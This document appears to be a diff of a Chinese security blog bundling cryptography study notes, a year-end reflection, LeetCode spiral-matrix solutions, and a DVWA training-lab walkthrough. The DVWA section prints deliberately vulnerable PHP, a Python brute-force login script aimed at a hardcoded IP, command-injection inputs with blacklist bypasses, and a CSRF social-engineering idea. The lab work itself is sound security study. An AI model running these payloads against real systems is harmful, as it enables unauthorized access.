**选择明文攻击 **在这种攻击模式中,攻击者可以事先任意选择一定数量的明文,让被攻击的加密算法加密,并得到相应的密文。攻击者的目标是通过这一过程获得关于加密算法的一些信息,以利于攻击者在将来更有效的破解由同样加密算法(以及相关密钥)加密的信息。在最坏情况下,攻击者可以直接获得解密用的钥匙。

+

这种攻击模式初看起来并不现实,因为很难想像攻击者可以选择任意的信息并要求加密系统进行加密。不过,在公钥密码学中,这就是一个很现实的模式。这是因为公钥密码方案中,加密用的钥匙是公开的,这样攻击者就可以直接用它来加密任意的信息。

+

选择密文攻击 在密码分析中,选择密文攻击指的是一种攻击方式。攻击者掌握对解密机的访问权限,可构造任意密文所对应的明文x。在此种攻击模型中,密码分析者事先任意搜集一定数量的密文,让这些密文透过被攻击的加密算法解密,透过未知的密钥获得解密后的明文。

+

唯密文攻击指的是在仅知已加密文字(即密文)的情况下进行攻击。此方案可同时用于攻击对称密码体制和非对称密码体制。
唯密文攻击所希望达到的目的包括几种,依照成功的程度排列:

+

取得原始明文中的部分资讯。
取得原始明文。
得知解密用的钥匙。
穷举法是属于一种唯密文攻击,但一般在设计算法时都会考虑到穷举法。

+

一次性密码本(英语:one-time pad,缩写为OTP)是古典密码学中的一种加密算法。是以随机的密钥(key)组成明文,且只使用一次。

+

在理论上,此种密码具有完善保密性,是牢不可破的。它的安全性已由·香农所证明。

+

虽然它在理论上的安全性无庸置疑,但在实际操作上却有着以下的问题:

+

用以加密的文本,也就是一次性密码本,必须确实是随机产生的。
它至少必须和被加密的文件等长。
用以加密的文本只能用一次,且必须对非关系人小心保密,不再使用时,用以加密的文本应当要销毁,以防重复使用。

+

生日攻击 生日攻击是一种密码学攻击手段,所利用的是概率论中生日问题的数学原理。这种攻击手段可用于滥用两个或多个集团之间的通信。此攻击依赖于在随机攻击中的高碰撞概率和固定置换次数(鸽巢原理)。攻击者可在

+

image-20210713213656807

+

中找到散列函数碰撞,2^n 为原像抗性安全性。

+

重合指数法:所有字母出现概率的平方的和接近0.065,这个值称为重合指数。

+

数据扩散:改变明文的任何一位,密文通常有一半的位数发生变化。

+

数据混淆:改变密钥的任何一位,密文通常有一半的位数发生变化。

+

所谓扩散就是让明文中的每一位影响密文中的许多位,或者说让密文中的每一位受明文中的许多位的影响.这样可以隐蔽明文的统计特性.当然,理想的情况是让明文中的每一位影响密文中的所有位,或者说让密文中的每一位受明文中所有位的影响.
所谓混淆就是将密文与密钥之间的统计关系变得尽可能复杂,使得对手即使获取了关于密文的一些统计特性,也无法推测密钥.使用复杂的非线性代替变换可以达到比较好的混淆效果,而简单的线性代替变换得到的混淆效果则不理想.

+

仿射密码

+image-20210919212715548 + +

代换密码要先建立一个替换表(即密钥),加密时将需要加密的明文依次通过查表,替换为相应的字符,明文字符被逐个替换后,生成无任何意义的字符串,即密文。
置换密码是对明文字符按某种规律进行位置的置换。

+

中间人攻击

+

SP网络(代换-置换网络)

+

Substitution-Permutation Network,缩写作SP-network或SPN

+

S一般被称为混淆层,主要起混淆作用
P一般被称为扩散层,主要起扩散作用

+

代换起混淆作用,置换起扩散作用

+

DES

+

面向二进制数据的密码算法
因而能够加解密任何形式的计算机数据。

+

S盒起混淆作用

+

改变S盒的任一输入比特,其输出至少有两比特发生改变

+

置换运算P起扩散作用

+image-20211110215431361 + + + +image-20211110215415819 + +

弱点

+image-20211110215618739 + +

AES

+

面向二进制的密码算法
能够加解密任何形式的计算机数据。
不是对合运算,加解密使用不同的算法

+

最后一轮的轮变换中没有列混合变换。

+image-20211114232150250 + + + + + +

密钥备份和恢复只能针对加解密密钥,无法对签名密钥进行备份。

+

第一章-绪论

密码体制的基本要素:

+
    +
  • 密码算法
  • +
  • 密钥
  • +
+

密码系统的数学描述:

+

S={P,C,K,E,D} 其中,明文空间P也常用消息空间M

+

image-20210713213509244

+

现代密码学基本原则:

+
    +
  • 柯克霍夫原则(Kerckhoff’s principle)
    除了密钥之外,即使密码系统的一切均被公开,它仍然应当是安全的。
  • +
  • 香农箴言(Shannon’s maxim)
    敌人了解系统。
  • +
  • 密码系统的安全性不在于算法的保密,而在于当对手获知了算法和密文后,分析出密钥或明文的难度。
  • +
+

密码提之的安全性:

+
    +
  • 无条件安全
  • +
  • 可证明安全
  • +
  • 计算上安全
  • +
  • 实际安全
  • +
+

通信信道加密方式:

+
    +
  • 链路加密–点到点加密
  • +
  • 高层链接加密–端到端加密
  • +
+

存储数据的加密:

+
    +
  • 硬盘级加密
  • +
  • 文件级加密
  • +
+

攻击方法

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
攻击类型密码分析员的资源
唯密文攻击 Ciphtext-only密码算法 待分析密文
已知明文攻击 Known-plaintext密码算法 待分析密文 用同一密钥加密的一个或多个明文-密文对
选择密文攻击 Chosen-ciphertext密码算法 待分析密文 可选择特定密文,并获得对应的明文
选择明文攻击 Chosen-plaintext密码算法 待分析密文 可选择特定明文,并获得对应的密文
选择文本攻击 Chosen-text密码算法 待分析密文 可选择特定密文/明文,并获得对应的明文/密文
相关密钥攻击 Related-key密码算法 待分析密文 有确定关系的两个密钥对应的明文-密文对
+

序列密码体制 / 流密码体制(Stream Cipher)

+
    +
  • 以比特(有时也用字节)为单位进行加密/解密运算
  • +
  • 同一明文对应的密文一般不同
  • +
+

分组密码体制(Block Cipher)

+
    +
  • 以若干比特(通常大于64比特)的数据块为处理单元
  • +
  • 同一明文块对应的密文块相同
  • +
+

根据密文的唯一性分类:

+
    +
  • 确定型密码体制
  • +
  • 概率型密码体制
  • +
+

明文:Plaintext,Message

+

密文:Ciphertext

+

目前,衡量一个密码系统是否安全的一个通用的做法是:公开接受来自全世界的研究和攻击。

+

第二章-经典密码学

代换(Substitution)
明文内容的表示形式改变,内容元素之间相对位置不变
明文字母用密文中对应字母代替

+

置换(Transposition or Permutation)
明文内容元素的相对位置改变,内容的表示形式不变

+

乘积密码(Product Ciphers)
多个加密技术的叠加

+
算术密码

1.移位密码

+

凯撒密码

+

将每个字母用字母表中它之后的第k个字母替代
C = E(k, p) = (p+k) mod 26, p = D(k, C) = (C-k) mod 26
一些文献中认为Caesar固定使用k=3

+

2.仿射密码

+

密钥:a,b
加密:C = E([a,b], p) = (ap+b) mod 26
解密:p = D([a,b], C) = ((C-b)/a) mod 26

+

a=1时,蜕化为凯撒密码。这里不考虑。
a≠0时,b无限制。
相当于b=0的仿射加密后,再叠加一次凯撒加密。
a的取值有限制:gcd(a,26)=1
a=3,5,7,9,11,15,17,19,21,23,25
否则不能保证一一映射
例:a=2, b=1时,p=3->C=7; p=16->C=7
不同的明文对应同一密文,无法解密
密钥空间大小为11*26=286

+

3.HILL密码

+

密钥:m*m个密钥

+

加密:每次加密m个明文字母

+image-20210721220734130 + +image-20210721220911593 + +

解密(要求K可逆)

+image-20210721220926003 + +

安全性:掩盖频率信息

+

抵抗唯密文攻击

+

易受已知明文攻击

+
代换密码

1.单表代换密码

+

经典密码破译:

+
    +
  • 频率特征(单字母,双字母,三字母)
  • +
  • 连接特征
  • +
  • 重复特征
  • +
+

2.Playfair密码——二维单表代换

+

image-20210721223610875

+

加密方法:

+

每次加密或解密两个字母

+

加密规则:

+
    +
  • 如果两字母是重复的,则在其中插入字母x。
    例如balloon划分为ba lx lo on
  • +
  • 如果两字母位于同一行,则各自用右侧字母代换。
    例如ar->RM
  • +
  • 如果两字母位于同一列,则各自用下侧字母代换。
    例如mu->CM
  • +
  • 否则各自用同行异列字母代换。
    例如hs->BP;ea->IM或JM
  • +
+

3.多表代换加密(抵抗字频统计攻击)

+

4.维吉尼亚密码

+

加密算法:Ci = E(k, pi) = (pi+ki mod d) mod 26
解密算法:pi = D(k, Ci) = (Ci-ki mod d) mod 26

+

攻击方法:

+

若获得了替换表的个数(密钥长)d,则可以逐个分析

+

分析位于i,i+d,i+2d,…的密文,获得密钥ki

+
    +
  • 密钥:deceptive,d=9明文
  • +
  • 密文:ZICVTWQNGRZGVTWAVZHCQYGLMGJ
  • +
  • 重排列,在每一列上进行字频攻击
  • +
+

寻找密钥长度d

+

vKasiski方法

+
    +
  • 在密文中寻找重复字段
  • +
  • 计算重复字段的间距
  • +
  • 密钥长度d应是这些间距的公约数
  • +
+

5.Autokey密码

+

加解密密钥= ”密钥” + ”明文”

+
置换技术

重新排序隐藏信息

+
乘积密码

两次代换可以构造更复杂的代换,等效为一次规则复杂的代换
两次置换可以构造更复杂的置换,等效为一次规则复杂的置换
交替使用代换和置换,可以大大提高安全性

+

第三章-密码学基础理论(8.4)

密码系统运算

+
    +
  • 构建复杂密码
  • +
  • 分析合成密码系统
  • +
+

1.先验概率,后验概率

+

2.闭合系统,非闭合系统

+

同构:定义:若密码系统T的消息空间与密文空间相同,则称它是自同构的。
若密码系统T是自同构的,则可定义指数运算:

+

幂等:定义:若密码系统T满足TT=T,则称它是幂等的。
维吉尼亚密码是幂等的

+

单纯密码,混合密码

+

相似密码系统

+

信息量:H(x)

+

冗余,冗余度

+

完美安全:完美安全一般用于加密最重要的信息,或者消息集很小的场合。

+

消息模糊度

+

密钥模糊度

+

唯一解距离

+

内容:数论基础

+
第一节 有限域

群,环,域

+

有限群的阶等于群中元素的个数

+

有限群,交换群(阿贝尔群),

+

循环群:如果群中的每一个元素都是一个固定的元素a(a∈G)的幂ak(k为整数),则称群G为循环群。
元素a生成了群G,或者说a是群G的生成元。

+

关系图

+

image-20210805204923411

+

模运算

+

a=qn + r 0≤r<n; q=⌊a/n⌋

+

image-20210807230847616

+

image-20210913223741755

+

image-20210917200006538

+

同余

+

整数a, b及n≠0, 当且仅当a-b=kn时,a与b是模n同余,记为 a≡b mod n

+

a≡b mod n当且仅当 a mod n = b mod n

+

如果a=mb, 其中 a,b,m 为整数,则当b≠0时,称b能整除a, b是a的一个因子,或a除以b余数为0,记为b|a

+

如果n|(a-b), 则a≡b mod n

+

加法逆元,乘法逆元

+
    +
  • 加法表
  • +
  • 乘法表
  • +
  • 逆元表
  • +
+

模n的完全剩余类集

+

有限域

+

多项式计算

+

有限域GF(2n)上的多项式计算

+

素多项式

+

任何多项式可以写为:f(x)=q(x)g(x)+r(x)
r(x)称为余式
r(x)=f(x) mod g(x)

+

若不存在余式,则称g(x)整除f(x),g(x)|f(x)

+

若f(x)除了它本身和1外,不存在其它因式,则称f(x)是不可约多项式,或既约多项式、素多项式

+

系数在GF(p)中,以素多项式取模的多项式构成一个域

+

欧几里得算法

+
1
2
3
4
5
6
7
a可以表示成a = kb + r(a,b,k,r皆为正整数,且r<b),则r = a mod b
假设d是a,b的一个公约数,记作d|a,d|b,即a和b都可以被d整除。
而r = a - kb,两边同时除以d,r/d=a/d-kb/d=m,由等式右边可知m为整数,因此d|r
因此d也是b,a mod b的公约数
假设d是b,a mod b的公约数, 则d|b,d|(a-k*b),k是一个整数,
进而d|a.因此d也是a,b的公约数
因此(a,b)和(b,a mod b)的公约数是一样的,其最大公约数也必然相等,得证。
+ +
1
2
3
4
5
对于任何可以整除a和b的整数,那么它也一定能整除a-b(和b),因此我们选择该整数(前面提到的任何整数)为gcd(a,b),它一定比a-b和b的最大公约数小:gcd(a,b)<=gcd(a-b,b)
同理,任何可以整除a-b和b的整数,一定可以整除a和b,因此我们选择该整数为gcd(a-b,b),它一定比a和b的最大公约数小:gcd(a-b,b)<=gcd(a,b)
由此可知:gcd(a,b)=gcd(a-b,b)
因为总有整数n,使得 a - n*b = a mod b,
所以迭代可知:gcd(a-b,b)=gcd(a-2b,b)=...=gcd(a-n*b,b)=gcd(a mod b,b)
+ + + +

gcd(a,b)=gcd(a mod b, b)

+

若a和b只有唯一的正公因子1,则称整数a和b是互素的,即gcd(a, b)=1

+

扩展欧几里得

+

求d=gcd(a,b),并解ax+by=d

+
第二节 素数

素数有无限多个

+

费马数

+

梅森素数

+

完全数

+

素因子分解

+

任一正整数可通过列出所有素因子的非零指数分量来表示
例:12可以表示为{a2=2, a3=1}
例:18可以表示为{a2=1, a3=2}

+

两个数的乘法等同于对应指数分量的加法:
K = mn → kp = mp + np 对所有p
例:216=12×18=(22×31)×(21×32)=23×33

+

最大公约数:k=gcd(a,b) <=> 所有kp=min(ap,bp)
例:300=22×31×52, 18=21×32 gcd(18,300)=21×31×50=6

+

费马定理

+image-20210807223557784 + + + +

欧拉定理

+

image-20210808111928181

+

image-20210808122519540

+

image-20210808115027528

+

中国剩余定理

+image-20210808122417972 + +

+image-20210808205302384 + +

原根

+

image-20210808205601708

+

原根的模数不一定是素数:5是模6的一个原根

+

原根未必唯一

+

所有的奇数都是模2的原根

+

image-20210808210709152

+

image-20210808211446013

+

算术基本定理

+

image-20210808214234027

+

DH算法

+image-20210902223744193 + +image-20210913221636557 + +

扩展欧几里得

+

求乘法逆元

+

第四章-分组密码

第一节 DES

Feistel密码结构

+

DES 64位密钥

+

实际只使用56位

+

其它用作奇偶校验等

+

雪崩效应就是一种不稳定的平衡状态也是加密算法的一种特征,它指明文或密钥的少量变化会引起密文的很大变化,就像雪崩前,山上看上去很平静,但是只要有一点问题,就会造成一片大崩溃。 可以用在很多场合对于Hash码,雪崩效应是指少量消息位的变化会引起信息摘要的许多位变化。指加密算法(尤其是块密码和加密散列函数)的一种理想属性。雪崩效应是指当输入发生最微小的改变(例如,反转一个二进制位)时,也会导致输出的不可区分性改变(输出中每个二进制位有50%的概率发生反转)。合格块密码中,无论密钥或明文的任何细微变化都必须引起密文的不可区分性改变。

+

构造一个具备良好雪崩效应的密码或散列是至关重要的设计目标之一。

+

计时攻击

+

能量攻击

+

DES能够很好地抵抗计时攻击

+

DES不能抵御差分分析、线性分析

+

差分密码攻击

+
    +
  • 分析明文对的差异和密文对的差异之间的关系
  • +
  • 确定轮运算的子密钥,从而恢复某些密钥比特
  • +
+

线性密码分析

+

DES的设计标准

+
第二节有限域计算
第三节 AES

密钥长度:128,192,256

+

不是Feistel结构

+

字节代换、行移位、列混淆三个阶段一起提供了混淆、扩散和非线性功能。这些阶段不涉及密钥,其本身并不提供安全性

+image-20210917224400452 + +
第四节 分组密码工作模式

image-20210917233643054

+

不同分组模式的优缺点。

+
第五节 其他密码
image-20210922095840573 + + + +

第五章-流密码

分类:

+
    +
  • 同步流密钥
  • +
  • 自同步流密钥
  • +
+

第六章-公钥密码

第七章-消息认证

1.消息认证
2.散列算法
3.MAC算法

hash是无密钥的

+

MAC是有密钥的

+

生日悖论

+image-20210926214703360 + +

对输出n比特的hash函数,生日攻击的代价为$2^{n/2}$

+

第八章-数字签名

第九章-密钥管理

1.加密

+
    +
  • 链路加密
  • +
  • 端到端加密
  • +
+

2.密码系统的安全性取决于算法强度和密钥长度

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/01/02/crypto/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git "a/2022/01/02/\345\271\264\346\200\273\347\273\223/index.html" "b/2022/01/02/\345\271\264\346\200\273\347\273\223/index.html" new file mode 100644 index 000000000..0103c01a8 --- /dev/null +++ "b/2022/01/02/\345\271\264\346\200\273\347\273\223/index.html" @@ -0,0 +1,205 @@ +2021总结 | h4m5t's Blog + + + + + + + + + + + + +

2021总结

岁月蹉跎,转眼已快毕业。2021年还算平稳度过。

+

本来想直接就业,3,4月投了很多实习简历,也经历过几次面试。大部分公司石沉大海,直至今日,仍无反应。唯阿里最为迅速,美团最主动,各个部门经常打电话过来。面了几家大厂和乙方龙头企业,都没有如意的结果。深知实战经验缺乏,又难以快速提升。遂作罢,走上考研之路。

+

上半年课不算多,都以小组做项目为主,结课之前没有多少时间可以静心复习。

+
    +
  • 信息检索:最后写一个小的网页检索项目,基于语言建模的信息检索模型、基于机器学习的排序方法和Web搜索技术、文本聚类技术等。
  • +
  • 内容安全:社交媒体/网页中的广告检测项目。
  • +
  • 舆情分析:*国智库人物画像项目。主要内容是文本情感分析。
  • +
+

真正开始复习是暑假7月份。因为一些契机,也因为不想在基地待下去,报了一个自命题的学校。寻找资料很难,真题都没有,也很少有可以交流的同学。

+

一切时间都要靠自己安排,不像高中那样,只跟老师走就行了。这一路也是兜兜转转,不同的老师,不同的资料,转来转去。从汤家凤到张宇,再到武老师。尤其概率,从余炳森,到汤家凤,到王式安,到张宇,最后是方浩。

+

半年来,认识了很多真正的好老师。田静,徐涛,武忠祥,李永乐等。虽未谋面,但却像真正耳提面命一般,一路陪伴着我们。

+

不知道新的一年,我将在哪里。不管结果如何,上天都会有最好的安排。

+

向前走吧。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/01/02/%E5%B9%B4%E6%80%BB%E7%BB%93/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2022/01/17/juzhen/index.html b/2022/01/17/juzhen/index.html new file mode 100644 index 000000000..67495e3af --- /dev/null +++ b/2022/01/17/juzhen/index.html @@ -0,0 +1,220 @@ +螺旋矩阵输出 | h4m5t's Blog + + + + + + + + + + + + +

螺旋矩阵输出

题目链接:https://leetcode-cn.com/problems/spiral-matrix/

+

题目要求:

+
+

给定一个m x n大小的矩阵(m行,n列),按螺旋的顺序返回矩阵中的所有元素。

+
+

举例:

+
1
2
输入:[[1,2,3],[4,5,6],[7,8,9]]
返回:[1,2,3,6,9,8,7,4,5]
+ +image-20220118182124918 + + + +

首先遍历最外圈,然后将矩阵缩小一圈,递归进行。

+

要注意边界条件,即矩阵为空,或1行或只有1列的情况。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
递归方法
class Solution:
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
m=len(matrix)
if m==0 or len(matrix[0])==0:
return []
n=len(matrix[0])

newlist=matrix[0]
if m>1:

for i in range(1,m):
newlist.append(matrix[i][n-1])

for j in range(n-2,-1,-1):
newlist.append(matrix[m-1][j])
if n>1:
for i in range(n-2,0,-1):
newlist.append(matrix[i][0])

M=[]
for k in range(1,m-1):
t=matrix[k][1:-1]
M.append(t)

return newlist+self.spiralOrder(M)
+ +
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
思路清晰方法:
class Solution:
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
res=[]
if len(matrix)==0:
return []
#定义四个边界点
left=0
right=len(matrix[0])-1
top=0
bottom=len(matrix)-1
#在不超过边界的条件下,进行一轮循环
while (top<bottom and left<right):
for i in range(left,right):
res.append(matrix[top][i])
for i in range(top,bottom):
res.append(matrix[i][right])
for i in range(right,left,-1):
res.append(matrix[bottom][i])
for i in range(bottom,top,-1):
res.append(matrix[i][left])
left+=1
top+=1
right-=1
bottom-=1

#如果剩余1行或1列:left=0 right1
if top==bottom:
for i in range(left,right+1):
res.append(matrix[top][i])
elif left==right:
for i in range(top,bottom+1):
res.append(matrix[i][left])
return res

+ +

撞墙法,即改变方向法:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Solution:
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
if not matrix:return []

x=y=0 # 矩阵元素位置初始化
res = [] # 初始化,存储遍历后的矩阵元素
dx = [ 0, 1, 0,-1] # 方向:右,下,左,上
dy = [ 1, 0,-1, 0] # 注:与通常平面坐标系 记号 不同
di = 0 # 初始化方向变量
visited = set() # 初始化集合,存储已走过的坐标
m,n = len(matrix),len(matrix[0]) # 矩阵的行列

for i in range(m*n): #
res.append(matrix[x][y]) # 存储遍历矩阵过的元素
visited.add((x,y)) # 存储遍历过的坐标
tx,ty = x+dx[di],y+dy[di] # 先记录下一步坐标,用于判断下一步怎么走
if 0<=tx<m and 0<=ty<n and (tx,ty) not in visited: # 判断坐标是否需变向,且没有遍历过
x,y = tx,ty
else:
di = (di+1)%4 # 改变方向,右下左上为一圈,防止方向坐标越界
x,y = x + dx[di],y+dy[di] # 下一步坐标
return res
+ +
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Solution(object):
def spiralOrder(self, matrix):
"""
:type matrix: List[List[int]]
:rtype: List[int]
"""
if not matrix or not matrix[0]: return []
M, N = len(matrix), len(matrix[0])
left, right, up, down = 0, N - 1, 0, M - 1
res = []
x, y = 0, 0
dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)]
cur_d = 0
while len(res) != M * N:
res.append(matrix[x][y])
if cur_d == 0 and y == right:
cur_d += 1
up += 1
elif cur_d == 1 and x == down:
cur_d += 1
right -= 1
elif cur_d == 2 and y == left:
cur_d += 1
down -= 1
elif cur_d == 3 and x == up:
cur_d += 1
left += 1
cur_d %= 4
x += dirs[cur_d][0]
y += dirs[cur_d][1]
return res
+ + + +

大神版:

+
1
2
3
4
5
6
7
8
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
res = []
while matrix:
# 削头(第一层)
res += matrix.pop(0)
# 将剩下的逆时针转九十度,等待下次被削
matrix = list(zip(*matrix))[::-1]
return res
+ +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2022/01/17/juzhen/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2022/01/21/DVWA/index.html b/2022/01/21/DVWA/index.html new file mode 100644 index 000000000..db9b03d32 --- /dev/null +++ b/2022/01/21/DVWA/index.html @@ -0,0 +1,483 @@ +DVWA靶场记录 | h4m5t's Blog + + + + + + + + + + + + +

DVWA靶场记录

+

二月份做过一遍,现在复习一下。

+
+

暴力破解

1.low

+

image-20220127105718016

+

发送到Intruder模块破解即可。

+

image-20220127110040408

+

或者使用万能密码登陆

+

image-20220127110633591

+

2.medium

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>
+ +

image-20220127111122668

+

这个函数对特殊字符进行转义,使得万能密码失效,只能用暴力破解的方法了。

+

3.high

+
1
2
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+ +

Token直接并到URL后面。

+
1
http://150.158.167.184:81/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=2f7c77f2d6684f968502e34a49b71c39#
+ +

使用脚本进行爆破

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from bs4 import BeautifulSoup
import requests

header={
'GET': 'http://150.158.167.184:81/vulnerabilities/brute/ HTTP/1.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer':'http://150.158.167.184:81/vulnerabilities/brute/',
'cookie':'PHPSESSID=ukih93al6mi9q6sghlo6oo5h90; security=high',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1',
'Host':'127.0.0.1'
}
requrl="http://150.158.167.184:81/vulnerabilities/brute/"


def get_token(requrl,header):
response=requests.get(url=requrl,headers=header)
print (response.status_code,len(response.content))
soup=BeautifulSoup(response.text,"html.parser")
input=soup.form.select("input[type='hidden']") #返回的是一个list列表
user_token=input[0]['value'] #获取用户的token
return user_token

user_token=get_token(requrl,header)
i=0
for line in open("password.txt"):
requrl="http://150.158.167.184:81/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i=i+1
print (i , 'admin' ,line.strip(),end=" ")
user_token=get_token(requrl,header)
# 尝试次数
if(i==20):
break
+ +

image-20220127114525285

+

命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>
+ +

1.Low

+

没有任何防护,可以直接执行命令:127.0.0.1 && ipconfig

+

2.medium

+
1
2
命令1  &&  命令2  表示先执行命令1,成功后接着执行命令2。
命令1 || 命令2 表示先执行命令1,不成功再执行命令2,命令1执行成功,则不再执行命令2。
+ +
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1、“;”分隔符
用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行。如:

输入:命令A;命令B;命令C

按顺序执行A、B、C命令,若B命令调用方式不对,终端会有相关错误提示,提示后会继续执行C命令。



2、“&&”分隔符
同C、C++语言逻辑运算符"&&"类似,遇到首个命令执行失败后,后面的命令不会执行。如:

输入:命令A && 命令B && 命令C

先执行命令A,若A命令执行正确则再执行命令B。假如命令B执行失败,则停止,C命令不会被执行到。



3、“||”分隔符
同C、C++语言逻辑运算符"||"类似,遇到首个命令执行成功后,后面的命令不会执行。如:

输入:命令A || 命令B || 命令C

先执行命令A,若A命令执行失败则再执行命令B。假如命令B执行成功,则停止,C命令不会被执行到。
+ +

用黑名单的形势过滤了‘&&’和’;’命令连接符。

+
1
2
3
4
5
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
+ +

此时,可以只使用’&’来进行命令注入。

+

image-20220122114355231

+

3.high

+

对很多符号都进行了黑名单限制

+
1
2
3
4
5
6
7
8
9
10
11
12
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
+ +

但其中有一处细节,’| ‘后面有空格,只过滤了有空格的|命令,此时可以通过无空格的’|’来进行命令注入。

+

4.impossible

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
+ +

impossible也就是防护方法,通过对ip地址分片,对四个部分进行检查,判断是否都是数字。这样就可以从逻辑上防止命令注入。

+

CSRF

img

+

原理:攻击者利用目标用户的身份,以目标用户的名义执行非法操作

+
    +
  • 目标用户已经登陆了网站,能够执行网站的操作
  • +
  • 目标用户访问了攻击者构造的URL
  • +
+

源代码如下:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
+ +

1.low

+

没有任何防护,可以直接通过url进行修改密码。可以通过“短链接”+“社工”的方式,诱惑受害人点击此链接,从而成功修改密码。
